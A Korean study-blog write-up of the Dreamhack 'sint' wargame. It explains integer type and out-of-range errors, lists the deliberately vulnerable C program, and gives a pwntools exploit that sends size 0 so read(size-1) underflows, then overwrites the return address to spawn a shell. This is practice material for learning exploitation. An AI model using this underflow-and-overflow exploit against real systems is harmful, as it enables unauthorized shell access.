후 드디어 double free bug를 이해하고 넘겼다.
중간에 여행 다녀오느라 공백이 길어서 다시 이해하는데 시간을 많이 쓰기도 했지만...
겁먹지 않고 일단 내가 아는대로 해결해봐야 하는 것 같다.
1.1. 자료형
type error는 부적절한 자료형을 사용했을 때 발생

1.2. Out of Range: 데이터 유실
변수에 어떤 값을 대입할 때 변수에 저장될 수 있는 범위를 넘어서면 해당 값은 유실됨
1.3. Out of Range: 부호 반전과 값의 왜곡
unsigned int에 int 값을 저장하면 음수였던 값이 큰 양수가 됨 (2의 보수)
1.4. Out of Range & 버퍼 오버플로우
1.5. 타입 오버플로우와 언더플로우


NX, partial RELRO만
2.2. sint.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
2.3. 설계
카나리가 없다 = ret overwrite 가능

단, 버퍼의 위치: ebp - 0x100
256보다 4만큼 더 가야 ret에 닿을 수 있는데, 256보다 크면 buf overflow 에러 발생한다.
우리가 입력해야 하는 데이터: b'A' 0x100 + b'B' 0x4 + p32(get_shell)
size = 256 + 4 + 4 = 264

그런데 read가 size-1을 read한다. 내가 size에 0을 주면...-1인데?
read 함수에서 size는 size_t 자료형을 사용한다. 흠...^^
2.4. exploit.py
from pwn import *
p = remote('host1.dreamhack.games', 23851)
e = ELF('./sint')
get_shell = e.sym['get_shell']
p.sendlineafter(b'Size: ', b'0')
payload = b'A'*0x100 + b'B'*0x4 + p32(get_shell)
p.sendafter(b'Data: ', payload)
p.interactive()